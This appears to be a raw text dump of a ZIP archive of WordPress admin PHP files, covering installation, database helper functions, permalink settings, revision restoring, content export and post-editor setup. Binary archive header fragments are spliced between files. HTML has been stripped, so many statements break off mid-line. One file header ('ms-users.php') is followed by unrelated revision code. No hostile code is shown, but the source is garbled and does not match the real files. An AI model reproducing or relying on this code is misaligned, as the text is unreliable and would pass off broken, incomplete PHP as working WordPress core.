' ); } /** * @global string $wp_local_package Locale code of the package. * @global WP_Locale $wp_locale WordPress date and time locale object. */ $language = ''; if ( ! empty( $_REQUEST['language'] ) ) { $language = preg_replace( '/[^a-zA-Z0-9_]/', '', $_REQUEST['language'] ); } elseif ( isset( $GLOBALS['wp_local_package'] ) ) { $language = $GLOBALS['wp_local_package']; } $scripts_to_print = array( 'jquery' ); switch ( $step ) { case 0: // Step 0. if ( wp_can_install_language_pack() && empty( $language ) ) { $languages = wp_get_available_translations(); if ( $languages ) { $scripts_to_print[] = 'language-chooser'; display_header( 'language-chooser' ); echo '
'; wp_install_language_form( $languages ); echo '
'; break; } } // Deliberately fall through if we can't reach the translations API. case 1: // Step 1, direct link or from language chooser. if ( ! empty( $language ) ) { $loaded_language = wp_download_language_pack( $language ); if ( $loaded_language ) { load_default_textdomain( $loaded_language ); $GLOBALS['wp_locale'] = new WP_Locale(); } } $scripts_to_print[] = 'user-profile'; display_header(); ?>

error ) ) { wp_die( $wpdb->error->get_error_message() ); } $scripts_to_print[] = 'user-profile'; display_header(); // Fill in the data we gathered. $weblog_title = isset( $_POST['weblog_title'] ) ? trim( wp_unslash( $_POST['weblog_title'] ) ) : ''; $user_name = isset( $_POST['user_name'] ) ? trim( wp_unslash( $_POST['user_name'] ) ) : ''; $admin_password = isset( $_POST['admin_password'] ) ? wp_unslash( $_POST['admin_password'] ) : ''; $admin_password_check = isset( $_POST['admin_password2'] ) ? wp_unslash( $_POST['admin_password2'] ) : ''; $admin_email = isset( $_POST['admin_email'] ) ? trim( wp_unslash( $_POST['admin_email'] ) ) : ''; $public = isset( $_POST['blog_public'] ) ? (int) $_POST['blog_public'] : 1; // Check email address. $error = false; if ( empty( $user_name ) ) { // TODO: Poka-yoke. display_setup_form( __( 'Please provide a valid username.' ) ); $error = true; } elseif ( sanitize_user( $user_name, true ) !== $user_name ) { display_setup_form( __( 'The username you provided has invalid characters.' ) ); $error = true; } elseif ( $admin_password !== $admin_password_check ) { // TODO: Poka-yoke. display_setup_form( __( 'Your passwords do not match. Please try again.' ) ); $error = true; } elseif ( empty( $admin_email ) ) { // TODO: Poka-yoke. display_setup_form( __( 'You must provide an email address.' ) ); $error = true; } elseif ( ! is_email( $admin_email ) ) { // TODO: Poka-yoke. display_setup_form( __( 'Sorry, that is not a valid email address. Email addresses look like username@example.com.' ) ); $error = true; } if ( false === $error ) { $wpdb->show_errors(); $result = wp_install( $weblog_title, $user_name, $admin_email, $public, '', wp_slash( $admin_password ), $loaded_language ); ?>


PK@0]πږwp-admin/admin-functions.phpnu[comments, 'comment_author', 'tinytext' ) ) { * echo "ok\n"; * } * * $error_count = 0; * $tablename = $wpdb->links; * // Check the column. * if ( ! check_column( $wpdb->links, 'link_description', 'varchar( 255 )' ) ) { * $ddl = "ALTER TABLE $wpdb->links MODIFY COLUMN link_description varchar(255) NOT NULL DEFAULT '' "; * $q = $wpdb->query( $ddl ); * } * * if ( check_column( $wpdb->links, 'link_description', 'varchar( 255 )' ) ) { * $res .= $tablename . ' - ok
'; * } else { * $res .= 'There was a problem with ' . $tablename . '
'; * ++$error_count; * } * * @package WordPress * @subpackage Plugin */ /** Load WordPress Bootstrap */ require_once dirname( __DIR__ ) . '/wp-load.php'; if ( ! function_exists( 'maybe_create_table' ) ) : /** * Creates a table in the database if it doesn't already exist. * * @since 1.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $table_name Database table name. * @param string $create_ddl SQL statement to create table. * @return bool True on success or if the table already exists. False on failure. */ function maybe_create_table( $table_name, $create_ddl ) { global $wpdb; foreach ( $wpdb->get_col( 'SHOW TABLES', 0 ) as $table ) { if ( $table === $table_name ) { return true; } } // Didn't find it, so try to create it. $wpdb->query( $create_ddl ); // We cannot directly tell that whether this succeeded! foreach ( $wpdb->get_col( 'SHOW TABLES', 0 ) as $table ) { if ( $table === $table_name ) { return true; } } return false; } endif; if ( ! function_exists( 'maybe_add_column' ) ) : /** * Adds column to database table, if it doesn't already exist. * * @since 1.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $table_name Database table name. * @param string $column_name Table column name. * @param string $create_ddl SQL statement to add column. * @return bool True on success or if the column already exists. False on failure. */ function maybe_add_column( $table_name, $column_name, $create_ddl ) { global $wpdb; foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) { if ( $column === $column_name ) { return true; } } // Didn't find it, so try to create it. $wpdb->query( $create_ddl ); // We cannot directly tell that whether this succeeded! foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) { if ( $column === $column_name ) { return true; } } return false; } endif; /** * Drops column from database table, if it exists. * * @since 1.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $table_name Database table name. * @param string $column_name Table column name. * @param string $drop_ddl SQL statement to drop column. * @return bool True on success or if the column doesn't exist. False on failure. */ function maybe_drop_column( $table_name, $column_name, $drop_ddl ) { global $wpdb; foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) { if ( $column === $column_name ) { // Found it, so try to drop it. $wpdb->query( $drop_ddl ); // We cannot directly tell that whether this succeeded! foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) { if ( $column === $column_name ) { return false; } } } } // Else didn't find it. return true; } /** * Checks that database table column matches the criteria. * * Uses the SQL DESC for retrieving the table info for the column. It will help * understand the parameters, if you do more research on what column information * is returned by the SQL statement. Pass in null to skip checking that * criteria. * * Column names returned from DESC table are case sensitive and are listed: * Field * Type * Null * Key * Default * Extra * * @since 1.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $table_name Database table name. * @param string $col_name Table column name. * @param string $col_type Table column type. * @param bool $is_null Optional. Check is null. * @param mixed $key Optional. Key info. * @param mixed $default_value Optional. Default value. * @param mixed $extra Optional. Extra value. * @return bool True, if matches. False, if not matching. */ function check_column( $table_name, $col_name, $col_type, $is_null = null, $key = null, $default_value = null, $extra = null ) { global $wpdb; $diffs = 0; $results = $wpdb->get_results( "DESC $table_name" ); foreach ( $results as $row ) { if ( $row->Field === $col_name ) { // Got our column, check the params. if ( ( null !== $col_type ) && ( $row->Type !== $col_type ) ) { ++$diffs; } if ( ( null !== $is_null ) && ( $row->Null !== $is_null ) ) { ++$diffs; } if ( ( null !== $key ) && ( $row->Key !== $key ) ) { ++$diffs; } if ( ( null !== $default_value ) && ( $row->Default !== $default_value ) ) { ++$diffs; } if ( ( null !== $extra ) && ( $row->Extra !== $extra ) ) { ++$diffs; } if ( $diffs > 0 ) { return false; } return true; } // End if found our column. } return false; } PK@0]Kx6N6Nwp-admin/options-permalink.phpnu[add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '

' . __( 'Permalinks are the permanent URLs to your individual pages and blog posts, as well as your category and tag archives. A permalink is the web address used to link to your content. The URL to each post should be permanent, and never change — hence the name permalink.' ) . '

' . '

' . __( 'This screen allows you to choose your permalink structure. You can choose from common settings or create custom URL structures.' ) . '

' . '

' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '

', ) ); get_current_screen()->add_help_tab( array( 'id' => 'permalink-settings', 'title' => __( 'Permalink Settings' ), 'content' => '

' . __( 'Permalinks can contain useful information, such as the post date, title, or other elements. You can choose from any of the suggested permalink formats, or you can craft your own if you select Custom Structure.' ) . '

' . '

' . sprintf( /* translators: %s: Percent sign (%). */ __( 'If you pick an option other than Plain, your general URL path with structure tags (terms surrounded by %s) will also appear in the custom structure field and your path can be further modified there.' ), '%' ) . '

' . '

' . sprintf( /* translators: 1: %category%, 2: %tag% */ __( 'When you assign multiple categories or tags to a post, only one can show up in the permalink: the lowest numbered category. This applies if your custom structure includes %1$s or %2$s.' ), '%category%', '%tag%' ) . '

' . '

' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '

', ) ); get_current_screen()->add_help_tab( array( 'id' => 'custom-structures', 'title' => __( 'Custom Structures' ), 'content' => '

' . __( 'The Optional fields let you customize the “category” and “tag” base names that will appear in archive URLs. For example, the page listing all posts in the “Uncategorized” category could be /topics/uncategorized instead of /category/uncategorized.' ) . '

' . '

' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '

', ) ); $help_sidebar_content = '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Permalinks Settings' ) . '

' . '

' . __( 'Documentation on Using Permalinks' ) . '

'; if ( $is_nginx ) { $help_sidebar_content .= '

' . __( 'Documentation on Nginx configuration.' ) . '

'; } $help_sidebar_content .= '

' . __( 'Support' ) . '

'; get_current_screen()->set_help_sidebar( $help_sidebar_content ); unset( $help_sidebar_content ); $home_path = get_home_path(); $iis7_permalinks = iis7_supports_permalinks(); $permalink_structure = get_option( 'permalink_structure' ); $prefix = ''; $blog_prefix = ''; if ( ! got_url_rewrite() ) { $prefix = '/index.php'; } /* * In a subdirectory configuration of multisite, the `/blog` prefix is used by * default on the main site to avoid collisions with other sites created on that * network. If the `permalink_structure` option has been changed to remove this * base prefix, WordPress core can no longer account for the possible collision. */ if ( is_multisite() && ! is_subdomain_install() && is_main_site() && 0 === strpos( $permalink_structure, '/blog/' ) ) { $blog_prefix = '/blog'; } $category_base = get_option( 'category_base' ); $tag_base = get_option( 'tag_base' ); $structure_updated = false; $htaccess_update_required = false; if ( isset( $_POST['permalink_structure'] ) || isset( $_POST['category_base'] ) ) { check_admin_referer( 'update-permalink' ); if ( isset( $_POST['permalink_structure'] ) ) { if ( isset( $_POST['selection'] ) && 'custom' !== $_POST['selection'] ) { $permalink_structure = $_POST['selection']; } else { $permalink_structure = $_POST['permalink_structure']; } if ( ! empty( $permalink_structure ) ) { $permalink_structure = preg_replace( '#/+#', '/', '/' . str_replace( '#', '', $permalink_structure ) ); if ( $prefix && $blog_prefix ) { $permalink_structure = $prefix . preg_replace( '#^/?index\.php#', '', $permalink_structure ); } else { $permalink_structure = $blog_prefix . $permalink_structure; } } $permalink_structure = sanitize_option( 'permalink_structure', $permalink_structure ); $wp_rewrite->set_permalink_structure( $permalink_structure ); $structure_updated = true; } if ( isset( $_POST['category_base'] ) ) { $category_base = $_POST['category_base']; if ( ! empty( $category_base ) ) { $category_base = $blog_prefix . preg_replace( '#/+#', '/', '/' . str_replace( '#', '', $category_base ) ); } $wp_rewrite->set_category_base( $category_base ); } if ( isset( $_POST['tag_base'] ) ) { $tag_base = $_POST['tag_base']; if ( ! empty( $tag_base ) ) { $tag_base = $blog_prefix . preg_replace( '#/+#', '/', '/' . str_replace( '#', '', $tag_base ) ); } $wp_rewrite->set_tag_base( $tag_base ); } } if ( $iis7_permalinks ) { if ( ( ! file_exists( $home_path . 'web.config' ) && win_is_writable( $home_path ) ) || win_is_writable( $home_path . 'web.config' ) ) { $writable = true; } else { $writable = false; } } elseif ( $is_nginx ) { $writable = false; } else { if ( ( ! file_exists( $home_path . '.htaccess' ) && is_writable( $home_path ) ) || is_writable( $home_path . '.htaccess' ) ) { $writable = true; } else { $writable = false; $existing_rules = array_filter( extract_from_markers( $home_path . '.htaccess', 'WordPress' ) ); $new_rules = array_filter( explode( "\n", $wp_rewrite->mod_rewrite_rules() ) ); $htaccess_update_required = ( $new_rules !== $existing_rules ); } } $using_index_permalinks = $wp_rewrite->using_index_permalinks(); if ( $structure_updated ) { $message = __( 'Permalink structure updated.' ); if ( ! is_multisite() && $permalink_structure && ! $using_index_permalinks ) { if ( $iis7_permalinks ) { if ( ! $writable ) { $message = sprintf( /* translators: %s: web.config */ __( 'You should update your %s file now.' ), 'web.config' ); } else { $message = sprintf( /* translators: %s: web.config */ __( 'Permalink structure updated. Remove write access on %s file now!' ), 'web.config' ); } } elseif ( ! $is_nginx && $htaccess_update_required && ! $writable ) { $message = sprintf( /* translators: %s: .htaccess */ __( 'You should update your %s file now.' ), '.htaccess' ); } } if ( ! get_settings_errors() ) { add_settings_error( 'general', 'settings_updated', $message, 'success' ); } set_transient( 'settings_errors', get_settings_errors(), 30 ); wp_redirect( admin_url( 'options-permalink.php?settings-updated=true' ) ); exit; } flush_rewrite_rules(); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

number of tags are available, and here are some examples to get you started.' ), __( 'https://wordpress.org/support/article/using-permalinks/' ) ); ?>

'', 1 => $prefix . '/%year%/%monthnum%/%day%/%postname%/', 2 => $prefix . '/%year%/%monthnum%/%postname%/', 3 => $prefix . '/' . _x( 'archives', 'sample permalink base' ) . '/%post_id%', 4 => $prefix . '/%postname%/', ); ?>

topics as your category base would make your category links like %s/topics/uncategorized/. If you leave these blank the defaults will be used.' ), get_option( 'home' ) . $blog_prefix . $prefix ); ?>

Error: Your %1$s file is not writable, so updating it automatically was not possible. This is the URL rewrite rule you should have in your %1$s file. Click in the field and press %3$s (or %4$s on Mac) to select all. Then insert this rule inside of the %5$s element in %1$s file.' ), 'web.config', __( 'https://wordpress.org/support/article/changing-file-permissions/' ), 'Ctrl + A', '⌘ + A', '/<configuration>/<system.webServer>/<rewrite>/<rules>' ); ?>


web.config' ); ?>

Error: The root directory of your site is not writable, so creating a file automatically was not possible. This is the URL rewrite rule you should have in your %2$s file. Create a new file called %2$s in the root directory of your site. Click in the field and press %3$s (or %4$s on Mac) to select all. Then insert this code into the %2$s file.' ), __( 'https://wordpress.org/support/article/changing-file-permissions/' ), 'web.config', 'Ctrl + A', '⌘ + A' ); ?>


web.config' ); ?>

Error: Your %1$s file is not writable, so updating it automatically was not possible. These are the mod_rewrite rules you should have in your %1$s file. Click in the field and press %3$s (or %4$s on Mac) to select all.' ), '.htaccess', __( 'https://wordpress.org/support/article/changing-file-permissions/' ), 'Ctrl + A', '⌘ + A' ); ?>


PK@0]Lwp-admin/ms-users.phpnu[post_parent ) ) { break; } $post = get_post( $revision->post_parent ); if ( ! $post ) { break; } // Don't restore if revisions are disabled and this is not an autosave. if ( ! wp_revisions_enabled( $post ) && ! wp_is_post_autosave( $revision ) ) { $redirect = 'edit.php?post_type=' . $post->post_type; break; } // Don't restore if the post is locked. if ( wp_check_post_lock( $post->ID ) ) { break; } check_admin_referer( "restore-post_{$revision->ID}" ); /* * Ensure the global $post remains the same after revision is restored. * Because wp_insert_post() and wp_transition_post_status() are called * during the process, plugins can unexpectedly modify $post. */ $backup_global_post = clone $post; wp_restore_post_revision( $revision->ID ); // Restore the global $post as it was before. $post = $backup_global_post; $redirect = add_query_arg( array( 'message' => 5, 'revision' => $revision->ID, ), get_edit_post_link( $post->ID, 'url' ) ); break; case 'view': case 'edit': default: $revision = wp_get_post_revision( $revision_id ); if ( ! $revision ) { break; } $post = get_post( $revision->post_parent ); if ( ! $post ) { break; } if ( ! current_user_can( 'read_post', $revision->ID ) || ! current_user_can( 'edit_post', $revision->post_parent ) ) { break; } // Bail if revisions are disabled and this is not an autosave. if ( ! wp_revisions_enabled( $post ) && ! wp_is_post_autosave( $revision ) ) { $redirect = 'edit.php?post_type=' . $post->post_type; break; } $post_edit_link = get_edit_post_link(); $post_title = '' . _draft_or_post_title() . ''; /* translators: %s: Post title. */ $h1 = sprintf( __( 'Compare Revisions of “%s”' ), $post_title ); $return_to_post = '' . __( '← Go to editor' ) . ''; // Used in the HTML title tag. $title = __( 'Revisions' ); $redirect = false; break; } // Empty post_type means either malformed object found, or no valid parent was found. if ( ! $redirect && empty( $post->post_type ) ) { $redirect = 'edit.php'; } if ( ! empty( $redirect ) ) { wp_redirect( $redirect ); exit; } // This is so that the correct "Edit" menu item is selected. if ( ! empty( $post->post_type ) && 'post' !== $post->post_type ) { $parent_file = 'edit.php?post_type=' . $post->post_type; } else { $parent_file = 'edit.php'; } $submenu_file = $parent_file; wp_enqueue_script( 'revisions' ); wp_localize_script( 'revisions', '_wpRevisionsSettings', wp_prepare_revisions_for_js( $post, $revision_id, $from ) ); /* Revisions Help Tab */ $revisions_overview = '

' . __( 'This screen is used for managing your content revisions.' ) . '

'; $revisions_overview .= '

' . __( 'Revisions are saved copies of your post or page, which are periodically created as you update your content. The red text on the left shows the content that was removed. The green text on the right shows the content that was added.' ) . '

'; $revisions_overview .= '

' . __( 'From this screen you can review, compare, and restore revisions:' ) . '

'; $revisions_overview .= '
  • ' . __( 'To navigate between revisions, drag the slider handle left or right or use the Previous or Next buttons.' ) . '
  • '; $revisions_overview .= '
  • ' . __( 'Compare two different revisions by selecting the “Compare any two revisions” box to the side.' ) . '
  • '; $revisions_overview .= '
  • ' . __( 'To restore a revision, click Restore This Revision.' ) . '
'; get_current_screen()->add_help_tab( array( 'id' => 'revisions-overview', 'title' => __( 'Overview' ), 'content' => $revisions_overview, ) ); $revisions_sidebar = '

' . __( 'For more information:' ) . '

'; $revisions_sidebar .= '

' . __( 'Revisions Management' ) . '

'; $revisions_sidebar .= '

' . __( 'Support' ) . '

'; get_current_screen()->set_help_sidebar( $revisions_sidebar ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '

' . __( 'You can export a file of your site’s content in order to import it into another installation or platform. The export file will be an XML file format called WXR. Posts, pages, comments, custom fields, categories, and tags can be included. You can choose for the WXR file to include only certain posts or pages by setting the dropdown filters to limit the export by category, author, date range by month, or publishing status.' ) . '

' . '

' . __( 'Once generated, your WXR file can be imported by another WordPress site or by another blogging platform able to access this format.' ) . '

', ) ); get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Export' ) . '

' . '

' . __( 'Support' ) . '

' ); // If the 'download' URL parameter is set, a WXR export file is baked and returned. if ( isset( $_GET['download'] ) ) { $args = array(); if ( ! isset( $_GET['content'] ) || 'all' === $_GET['content'] ) { $args['content'] = 'all'; } elseif ( 'posts' === $_GET['content'] ) { $args['content'] = 'post'; if ( $_GET['cat'] ) { $args['category'] = (int) $_GET['cat']; } if ( $_GET['post_author'] ) { $args['author'] = (int) $_GET['post_author']; } if ( $_GET['post_start_date'] || $_GET['post_end_date'] ) { $args['start_date'] = $_GET['post_start_date']; $args['end_date'] = $_GET['post_end_date']; } if ( $_GET['post_status'] ) { $args['status'] = $_GET['post_status']; } } elseif ( 'pages' === $_GET['content'] ) { $args['content'] = 'page'; if ( $_GET['page_author'] ) { $args['author'] = (int) $_GET['page_author']; } if ( $_GET['page_start_date'] || $_GET['page_end_date'] ) { $args['start_date'] = $_GET['page_start_date']; $args['end_date'] = $_GET['page_end_date']; } if ( $_GET['page_status'] ) { $args['status'] = $_GET['page_status']; } } elseif ( 'attachment' === $_GET['content'] ) { $args['content'] = 'attachment'; if ( $_GET['attachment_start_date'] || $_GET['attachment_end_date'] ) { $args['start_date'] = $_GET['attachment_start_date']; $args['end_date'] = $_GET['attachment_end_date']; } } else { $args['content'] = $_GET['content']; } /** * Filters the export args. * * @since 3.5.0 * * @param array $args The arguments to send to the exporter. */ $args = apply_filters( 'export_args', $args ); export_wp( $args ); die(); } require_once ABSPATH . 'wp-admin/admin-header.php'; /** * Create the date options fields for exporting a given post type. * * @global wpdb $wpdb WordPress database abstraction object. * @global WP_Locale $wp_locale WordPress date and time locale object. * * @since 3.1.0 * * @param string $post_type The post type. Default 'post'. */ function export_date_options( $post_type = 'post' ) { global $wpdb, $wp_locale; $months = $wpdb->get_results( $wpdb->prepare( " SELECT DISTINCT YEAR( post_date ) AS year, MONTH( post_date ) AS month FROM $wpdb->posts WHERE post_type = %s AND post_status != 'auto-draft' ORDER BY post_date DESC ", $post_type ) ); $month_count = count( $months ); if ( ! $month_count || ( 1 === $month_count && 0 === (int) $months[0]->month ) ) { return; } foreach ( $months as $date ) { if ( 0 === (int) $date->year ) { continue; } $month = zeroise( $date->month, 2 ); echo ''; } } ?>

false, 'can_export' => true, ), 'objects' ) as $post_type ) : ?>

PK@0]Kt? q qwp-admin/edit-form-advanced.phpnu[is_block_editor( false ); if ( is_multisite() ) { add_action( 'admin_footer', '_admin_notice_post_locked' ); } else { $check_users = get_users( array( 'fields' => 'ID', 'number' => 2, ) ); if ( count( $check_users ) > 1 ) { add_action( 'admin_footer', '_admin_notice_post_locked' ); } unset( $check_users ); } wp_enqueue_script( 'post' ); $_wp_editor_expand = false; $_content_editor_dfw = false; if ( post_type_supports( $post_type, 'editor' ) && ! wp_is_mobile() && ! ( $is_IE && preg_match( '/MSIE [5678]/', $_SERVER['HTTP_USER_AGENT'] ) ) ) { /** * Filters whether to enable the 'expand' functionality in the post editor. * * @since 4.0.0 * @since 4.1.0 Added the `$post_type` parameter. * * @param bool $expand Whether to enable the 'expand' functionality. Default true. * @param string $post_type Post type. */ if ( apply_filters( 'wp_editor_expand', true, $post_type ) ) { wp_enqueue_script( 'editor-expand' ); $_content_editor_dfw = true; $_wp_editor_expand = ( 'on' === get_user_setting( 'editor_expand', 'on' ) ); } } if ( wp_is_mobile() ) { wp_enqueue_script( 'jquery-touch-punch' ); } /** * Post ID global * * @name $post_ID * @var int */ $post_ID = isset( $post_ID ) ? (int) $post_ID : 0; $user_ID = isset( $user_ID ) ? (int) $user_ID : 0; $action = isset( $action ) ? $action : ''; if ( (int) get_option( 'page_for_posts' ) === $post->ID && empty( $post->post_content ) ) { add_action( 'edit_form_after_title', '_wp_posts_page_notice' ); remove_post_type_support( $post_type, 'editor' ); } $thumbnail_support = current_theme_supports( 'post-thumbnails', $post_type ) && post_type_supports( $post_type, 'thumbnail' ); if ( ! $thumbnail_support && 'attachment' === $post_type && $post->post_mime_type ) { if ( wp_attachment_is( 'audio', $post ) ) { $thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' ); } elseif ( wp_attachment_is( 'video', $post ) ) { $thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' ); } } if ( $thumbnail_support ) { add_thickbox(); wp_enqueue_media( array( 'post' => $post->ID ) ); } // Add the local autosave notice HTML. add_action( 'admin_footer', '_local_storage_notice' ); /* * @todo Document the $messages array(s). */ $permalink = get_permalink( $post->ID ); if ( ! $permalink ) { $permalink = ''; } $messages = array(); $preview_post_link_html = ''; $scheduled_post_link_html = ''; $view_post_link_html = ''; $preview_page_link_html = ''; $scheduled_page_link_html = ''; $view_page_link_html = ''; $preview_url = get_preview_post_link( $post ); $viewable = is_post_type_viewable( $post_type_object ); if ( $viewable ) { // Preview post link. $preview_post_link_html = sprintf( ' %2$s', esc_url( $preview_url ), __( 'Preview post' ) ); // Scheduled post preview link. $scheduled_post_link_html = sprintf( ' %2$s', esc_url( $permalink ), __( 'Preview post' ) ); // View post link. $view_post_link_html = sprintf( ' %2$s', esc_url( $permalink ), __( 'View post' ) ); // Preview page link. $preview_page_link_html = sprintf( ' %2$s', esc_url( $preview_url ), __( 'Preview page' ) ); // Scheduled page preview link. $scheduled_page_link_html = sprintf( ' %2$s', esc_url( $permalink ), __( 'Preview page' ) ); // View page link. $view_page_link_html = sprintf( ' %2$s', esc_url( $permalink ), __( 'View page' ) ); } $scheduled_date = sprintf( /* translators: Publish box date string. 1: Date, 2: Time. */ __( '%1$s at %2$s' ), /* translators: Publish box date format, see https://www.php.net/manual/datetime.format.php */ date_i18n( _x( 'M j, Y', 'publish box date format' ), strtotime( $post->post_date ) ), /* translators: Publish box time format, see https://www.php.net/manual/datetime.format.php */ date_i18n( _x( 'H:i', 'publish box time format' ), strtotime( $post->post_date ) ) ); $messages['post'] = array( 0 => '', // Unused. Messages start at index 1. 1 => __( 'Post updated.' ) . $view_post_link_html, 2 => __( 'Custom field updated.' ), 3 => __( 'Custom field deleted.' ), 4 => __( 'Post updated.' ), /* translators: %s: Date and time of the revision. */ 5 => isset( $_GET['revision'] ) ? sprintf( __( 'Post restored to revision from %s.' ), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false, 6 => __( 'Post published.' ) . $view_post_link_html, 7 => __( 'Post saved.' ), 8 => __( 'Post submitted.' ) . $preview_post_link_html, /* translators: %s: Scheduled date for the post. */ 9 => sprintf( __( 'Post scheduled for: %s.' ), '' . $scheduled_date . '' ) . $scheduled_post_link_html, 10 => __( 'Post draft updated.' ) . $preview_post_link_html, ); $messages['page'] = array( 0 => '', // Unused. Messages start at index 1. 1 => __( 'Page updated.' ) . $view_page_link_html, 2 => __( 'Custom field updated.' ), 3 => __( 'Custom field deleted.' ), 4 => __( 'Page updated.' ), /* translators: %s: Date and time of the revision. */ 5 => isset( $_GET['revision'] ) ? sprintf( __( 'Page restored to revision from %s.' ), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false, 6 => __( 'Page published.' ) . $view_page_link_html, 7 => __( 'Page saved.' ), 8 => __( 'Page submitted.' ) . $preview_page_link_html, /* translators: %s: Scheduled date for the page. */ 9 => sprintf( __( 'Page scheduled for: %s.' ), '' . $scheduled_date . '' ) . $scheduled_page_link_html, 10 => __( 'Page draft updated.' ) . $preview_page_link_html, ); $messages['attachment'] = array_fill( 1, 10, __( 'Media file updated.' ) ); // Hack, for now. /** * Filters the post updated messages. * * @since 3.0.0 * * @param array[] $messages Post updated messages. For defaults see `$messages` declarations above. */ $messages = apply_filters( 'post_updated_messages', $messages ); $message = false; if ( isset( $_GET['message'] ) ) { $_GET['message'] = absint( $_GET['message'] ); if ( isset( $messages[ $post_type ][ $_GET['message'] ] ) ) { $message = $messages[ $post_type ][ $_GET['message'] ]; } elseif ( ! isset( $messages[ $post_type ] ) && isset( $messages['post'][ $_GET['message'] ] ) ) { $message = $messages['post'][ $_GET['message'] ]; } } $notice = false; $form_extra = ''; if ( 'auto-draft' === $post->post_status ) { if ( 'edit' === $action ) { $post->post_title = ''; } $autosave = false; $form_extra .= ""; } else { $autosave = wp_get_post_autosave( $post->ID ); } $form_action = 'editpost'; $nonce_action = 'update-post_' . $post->ID; $form_extra .= ""; // Detect if there exists an autosave newer than the post and if that autosave is different than the post. if ( $autosave && mysql2date( 'U', $autosave->post_modified_gmt, false ) > mysql2date( 'U', $post->post_modified_gmt, false ) ) { foreach ( _wp_post_revision_fields( $post ) as $autosave_field => $_autosave_field ) { if ( normalize_whitespace( $autosave->$autosave_field ) !== normalize_whitespace( $post->$autosave_field ) ) { $notice = sprintf( /* translators: %s: URL to view the autosave. */ __( 'There is an autosave of this post that is more recent than the version below. View the autosave' ), get_edit_post_link( $autosave->ID ) ); break; } } // If this autosave isn't different from the current post, begone. if ( ! $notice ) { wp_delete_post_revision( $autosave->ID ); } unset( $autosave_field, $_autosave_field ); } $post_type_object = get_post_type_object( $post_type ); // All meta boxes should be defined and added before the first do_meta_boxes() call (or potentially during the do_meta_boxes action). require_once ABSPATH . 'wp-admin/includes/meta-boxes.php'; register_and_do_post_meta_boxes( $post ); add_screen_option( 'layout_columns', array( 'max' => 2, 'default' => 2, ) ); if ( 'post' === $post_type ) { $customize_display = '

' . __( 'The title field and the big Post Editing Area are fixed in place, but you can reposition all the other boxes using drag and drop. You can also minimize or expand them by clicking the title bar of each box. Use the Screen Options tab to unhide more boxes (Excerpt, Send Trackbacks, Custom Fields, Discussion, Slug, Author) or to choose a 1- or 2-column layout for this screen.' ) . '

'; get_current_screen()->add_help_tab( array( 'id' => 'customize-display', 'title' => __( 'Customizing This Display' ), 'content' => $customize_display, ) ); $title_and_editor = '

' . __( 'Title — Enter a title for your post. After you enter a title, you’ll see the permalink below, which you can edit.' ) . '

'; $title_and_editor .= '

' . __( 'Post editor — Enter the text for your post. There are two modes of editing: Visual and Text. Choose the mode by clicking on the appropriate tab.' ) . '

'; $title_and_editor .= '

' . __( 'Visual mode gives you an editor that is similar to a word processor. Click the Toolbar Toggle button to get a second row of controls.' ) . '

'; $title_and_editor .= '

' . __( 'The Text mode allows you to enter HTML along with your post text. Note that <p> and <br> tags are converted to line breaks when switching to the Text editor to make it less cluttered. When you type, a single line break can be used instead of typing <br>, and two line breaks instead of paragraph tags. The line breaks are converted back to tags automatically.' ) . '

'; $title_and_editor .= '

' . __( 'You can insert media files by clicking the button above the post editor and following the directions. You can align or edit images using the inline formatting toolbar available in Visual mode.' ) . '

'; $title_and_editor .= '

' . __( 'You can enable distraction-free writing mode using the icon to the right. This feature is not available for old browsers or devices with small screens, and requires that the full-height editor be enabled in Screen Options.' ) . '

'; $title_and_editor .= '

' . sprintf( /* translators: %s: Alt + F10 */ __( 'Keyboard users: When you are working in the visual editor, you can use %s to access the toolbar.' ), 'Alt + F10' ) . '

'; get_current_screen()->add_help_tab( array( 'id' => 'title-post-editor', 'title' => __( 'Title and Post Editor' ), 'content' => $title_and_editor, ) ); get_current_screen()->set_help_sidebar( '

' . sprintf( /* translators: %s: URL to Press This bookmarklet. */ __( 'You can also create posts with the Press This bookmarklet.' ), 'tools.php' ) . '

' . '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Writing and Editing Posts' ) . '

' . '

' . __( 'Support' ) . '

' ); } elseif ( 'page' === $post_type ) { $about_pages = '

' . __( 'Pages are similar to posts in that they have a title, body text, and associated metadata, but they are different in that they are not part of the chronological blog stream, kind of like permanent posts. Pages are not categorized or tagged, but can have a hierarchy. You can nest pages under other pages by making one the “Parent” of the other, creating a group of pages.' ) . '

' . '

' . __( 'Creating a Page is very similar to creating a Post, and the screens can be customized in the same way using drag and drop, the Screen Options tab, and expanding/collapsing boxes as you choose. This screen also has the distraction-free writing space, available in both the Visual and Text modes via the Fullscreen buttons. The Page editor mostly works the same as the Post editor, but there are some Page-specific features in the Page Attributes box.' ) . '

'; get_current_screen()->add_help_tab( array( 'id' => 'about-pages', 'title' => __( 'About Pages' ), 'content' => $about_pages, ) ); get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Adding New Pages' ) . '

' . '

' . __( 'Documentation on Editing Pages' ) . '

' . '

' . __( 'Support' ) . '

